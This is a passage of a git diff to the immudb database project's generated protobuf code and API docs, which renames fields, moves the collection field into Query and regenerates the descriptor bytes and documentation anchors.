0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d, - 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01, - 0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, - 0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, + 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f, - 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, - 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, - 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, - 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, - 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, - 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, - 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, + 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xad, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, + 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, + 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, + 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, + 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, + 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, + 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index c3bd563fac..98921bc85e 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -3,71 +3,71 @@ ## Table of Contents -- [authorization.proto](#authorization-proto) - - [CloseSessionRequest](#immudb-model-CloseSessionRequest) - - [CloseSessionResponse](#immudb-model-CloseSessionResponse) - - [KeepAliveRequest](#immudb-model-KeepAliveRequest) - - [KeepAliveResponse](#immudb-model-KeepAliveResponse) - - [OpenSessionRequest](#immudb-model-OpenSessionRequest) - - [OpenSessionResponse](#immudb-model-OpenSessionResponse) +- [authorization.proto](#authorization.proto) + - [CloseSessionRequest](#immudb.model.CloseSessionRequest) + - [CloseSessionResponse](#immudb.model.CloseSessionResponse) + - [KeepAliveRequest](#immudb.model.KeepAliveRequest) + - [KeepAliveResponse](#immudb.model.KeepAliveResponse) + - [OpenSessionRequest](#immudb.model.OpenSessionRequest) + - [OpenSessionResponse](#immudb.model.OpenSessionResponse) - - [AuthorizationService](#immudb-model-AuthorizationService) + - [AuthorizationService](#immudb.model.AuthorizationService) -- [documents.proto](#documents-proto) - - [Collection](#immudb-model-Collection) - - [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) - - [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) - - [CollectionGetRequest](#immudb-model-CollectionGetRequest) - - [CollectionGetResponse](#immudb-model-CollectionGetResponse) - - [CollectionListRequest](#immudb-model-CollectionListRequest) - - [CollectionListResponse](#immudb-model-CollectionListResponse) - - [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) - - [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) - - [DocumentAtRevision](#immudb-model-DocumentAtRevision) - - [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) - - [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) - - [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) - - [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) - - [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) - - [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) - - [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) - - [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) - - [DocumentProofRequest](#immudb-model-DocumentProofRequest) - - [DocumentProofResponse](#immudb-model-DocumentProofResponse) - - [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) - - [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) - - [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) - - [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) - - [Field](#immudb-model-Field) - - [FieldComparison](#immudb-model-FieldComparison) - - [Index](#immudb-model-Index) - - [IndexCreateRequest](#immudb-model-IndexCreateRequest) - - [IndexCreateResponse](#immudb-model-IndexCreateResponse) - - [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) - - [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) - - [OrderExpression](#immudb-model-OrderExpression) - - [Query](#immudb-model-Query) - - [QueryExpression](#immudb-model-QueryExpression) +- [documents.proto](#documents.proto) + - [Collection](#immudb.model.Collection) + - [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) + - [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) + - [CollectionGetRequest](#immudb.model.CollectionGetRequest) + - [CollectionGetResponse](#immudb.model.CollectionGetResponse) + - [CollectionListRequest](#immudb.model.CollectionListRequest) + - [CollectionListResponse](#immudb.model.CollectionListResponse) + - [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) + - [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) + - [DocumentAtRevision](#immudb.model.DocumentAtRevision) + - [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) + - [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) + - [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) + - [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) + - [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) + - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) + - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) + - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) + - [DocumentProofRequest](#immudb.model.DocumentProofRequest) + - [DocumentProofResponse](#immudb.model.DocumentProofResponse) + - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) + - [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) + - [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) + - [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) + - [Field](#immudb.model.Field) + - [FieldComparison](#immudb.model.FieldComparison) + - [Index](#immudb.model.Index) + - [IndexCreateRequest](#immudb.model.IndexCreateRequest) + - [IndexCreateResponse](#immudb.model.IndexCreateResponse) + - [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) + - [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) + - [OrderByClause](#immudb.model.OrderByClause) + - [Query](#immudb.model.Query) + - [QueryExpression](#immudb.model.QueryExpression) - - [ComparisonOperator](#immudb-model-ComparisonOperator) - - [FieldType](#immudb-model-FieldType) + - [ComparisonOperator](#immudb.model.ComparisonOperator) + - [FieldType](#immudb.model.FieldType) - - [DocumentService](#immudb-model-DocumentService) + - [DocumentService](#immudb.model.DocumentService) - [Scalar Value Types](#scalar-value-types) - +

Top

## authorization.proto - + ### CloseSessionRequest @@ -77,7 +77,7 @@ - + ### CloseSessionResponse @@ -87,7 +87,7 @@ - + ### KeepAliveRequest @@ -97,7 +97,7 @@ - + ### KeepAliveResponse @@ -107,7 +107,7 @@ - + ### OpenSessionRequest @@ -124,7 +124,7 @@ - + ### OpenSessionResponse @@ -148,29 +148,29 @@ - + ### AuthorizationService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| OpenSession | [OpenSessionRequest](#immudb-model-OpenSessionRequest) | [OpenSessionResponse](#immudb-model-OpenSessionResponse) | | -| KeepAlive | [KeepAliveRequest](#immudb-model-KeepAliveRequest) | [KeepAliveResponse](#immudb-model-KeepAliveResponse) | | -| CloseSession | [CloseSessionRequest](#immudb-model-CloseSessionRequest) | [CloseSessionResponse](#immudb-model-CloseSessionResponse) | | +| OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) | | +| KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) | | +| CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) | | - +

Top

## documents.proto - + ### Collection @@ -180,15 +180,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb-model-Field) | repeated | | -| indexes | [Index](#immudb-model-Index) | repeated | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | - + ### CollectionCreateRequest @@ -198,15 +198,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb-model-Field) | repeated | | -| indexes | [Index](#immudb-model-Index) | repeated | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | - + ### CollectionCreateResponse @@ -216,7 +216,7 @@ - + ### CollectionDeleteRequest @@ -231,7 +231,7 @@ - + ### CollectionDeleteResponse @@ -241,7 +241,7 @@ - + ### CollectionGetRequest @@ -256,7 +256,7 @@ - + ### CollectionGetResponse @@ -264,14 +264,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb-model-Collection) | | | +| collection | [Collection](#immudb.model.Collection) | | | - + ### CollectionListRequest @@ -281,7 +281,7 @@ - + ### CollectionListResponse @@ -289,14 +289,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collections | [Collection](#immudb-model-Collection) | repeated | | +| collections | [Collection](#immudb.model.Collection) | repeated | | - + ### CollectionUpdateRequest @@ -312,7 +312,7 @@ - + ### CollectionUpdateResponse @@ -322,7 +322,7 @@ - + ### DocumentAtRevision @@ -332,14 +332,14 @@ | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentAuditRequest @@ -351,14 +351,14 @@ | documentId | [string](#string) | | | | desc | [bool](#bool) | | | | page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | +| pageSize | [uint32](#uint32) | | | - + ### DocumentAuditResponse @@ -366,14 +366,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - + ### DocumentDeleteRequest @@ -381,15 +381,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | +| query | [Query](#immudb.model.Query) | | | - + ### DocumentDeleteResponse @@ -399,7 +398,7 @@ - + ### DocumentInsertManyRequest @@ -408,14 +407,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| documents | [google.protobuf.Struct](#google-protobuf-Struct) | repeated | | +| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | - + ### DocumentInsertManyResponse @@ -431,7 +430,7 @@ - + ### DocumentInsertRequest @@ -440,14 +439,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentInsertResponse @@ -463,7 +462,7 @@ - + ### DocumentProofRequest @@ -481,7 +480,7 @@ - + ### DocumentProofResponse @@ -493,14 +492,14 @@ | collectionId | [uint32](#uint32) | | | | idFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | -| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb-schema-VerifiableTxV2) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | - + ### DocumentSearchRequest @@ -508,19 +507,17 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| searchID | [string](#string) | | | -| collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | -| orderBy | [OrderExpression](#immudb-model-OrderExpression) | repeated | | +| searchId | [string](#string) | | | +| query | [Query](#immudb.model.Query) | | | | page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | +| pageSize | [uint32](#uint32) | | | - + ### DocumentSearchResponse @@ -528,15 +525,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| searchID | [string](#string) | | | -| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | +| searchId | [string](#string) | | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - + ### DocumentUpdateRequest @@ -544,16 +541,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| query | [Query](#immudb.model.Query) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentUpdateResponse @@ -570,7 +566,7 @@ - + ### Field @@ -579,14 +575,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| type | [FieldType](#immudb-model-FieldType) | | | +| type | [FieldType](#immudb.model.FieldType) | | | - + ### FieldComparison @@ -595,15 +591,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | -| operator | [ComparisonOperator](#immudb-model-ComparisonOperator) | | | -| value | [google.protobuf.Value](#google-protobuf-Value) | | | +| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | - + ### Index @@ -619,7 +615,7 @@ - + ### IndexCreateRequest @@ -636,7 +632,7 @@ - + ### IndexCreateResponse @@ -646,7 +642,7 @@ - + ### IndexDeleteRequest @@ -662,7 +658,7 @@ - + ### IndexDeleteResponse @@ -672,9 +668,9 @@ - + -### OrderExpression +### OrderByClause @@ -688,7 +684,7 @@ - + ### Query @@ -696,14 +692,16 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| expressions | [QueryExpression](#immudb-model-QueryExpression) | repeated | | +| collection | [string](#string) | | | +| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | +| orderBy | [OrderByClause](#immudb.model.OrderByClause) | repeated | | - + ### QueryExpression @@ -711,7 +709,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| fieldComparisons | [FieldComparison](#immudb-model-FieldComparison) | repeated | | +| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | @@ -720,7 +718,7 @@ - + ### ComparisonOperator @@ -737,7 +735,7 @@ - + ### FieldType @@ -755,27 +753,27 @@ - + ### DocumentService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| CollectionCreate | [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) | [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb-model-CollectionGetRequest) | [CollectionGetResponse](#immudb-model-CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb-model-CollectionListRequest) | [CollectionListResponse](#immudb-model-CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) | | -| CollectionUpdate | [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) | | -| IndexCreate | [IndexCreateRequest](#immudb-model-IndexCreateRequest) | [IndexCreateResponse](#immudb-model-IndexCreateResponse) | | -| IndexDelete | [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) | [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) | | -| DocumentInsert | [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) | [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) | | -| DocumentInsertMany | [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) | | -| DocumentUpdate | [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) | [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) | [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb-model-DocumentProofRequest) | [DocumentProofResponse](#immudb-model-DocumentProofResponse) | | -| DocumentDelete | [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb.model.CollectionGetRequest) | [CollectionGetResponse](#immudb.model.CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | +| CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | +| IndexCreate | [IndexCreateRequest](#immudb.model.IndexCreateRequest) | [IndexCreateResponse](#immudb.model.IndexCreateResponse) | | +| IndexDelete | [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) | [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | +| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | +| DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb.model.DocumentProofRequest) | [DocumentProofResponse](#immudb.model.DocumentProofResponse) | | +| DocumentDelete | [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index d33b90a8b6..3b7dd4f82e 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.30.0 +// protoc-gen-go v1.28.1 // protoc v3.21.12 // source: documents.proto @@ -1218,9 +1218,8 @@ type DocumentUpdateRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` - Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` + Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` + Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentUpdateRequest) Reset() { @@ -1255,13 +1254,6 @@ func (*DocumentUpdateRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{21} } -func (x *DocumentUpdateRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - func (x *DocumentUpdateRequest) GetQuery() *Query { if x != nil { return x.Query @@ -1344,12 +1336,10 @@ type DocumentSearchRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - SearchID string `protobuf:"bytes,1,opt,name=searchID,proto3" json:"searchID,omitempty"` - Collection string `protobuf:"bytes,2,opt,name=collection,proto3" json:"collection,omitempty"` - Query *Query `protobuf:"bytes,3,opt,name=query,proto3" 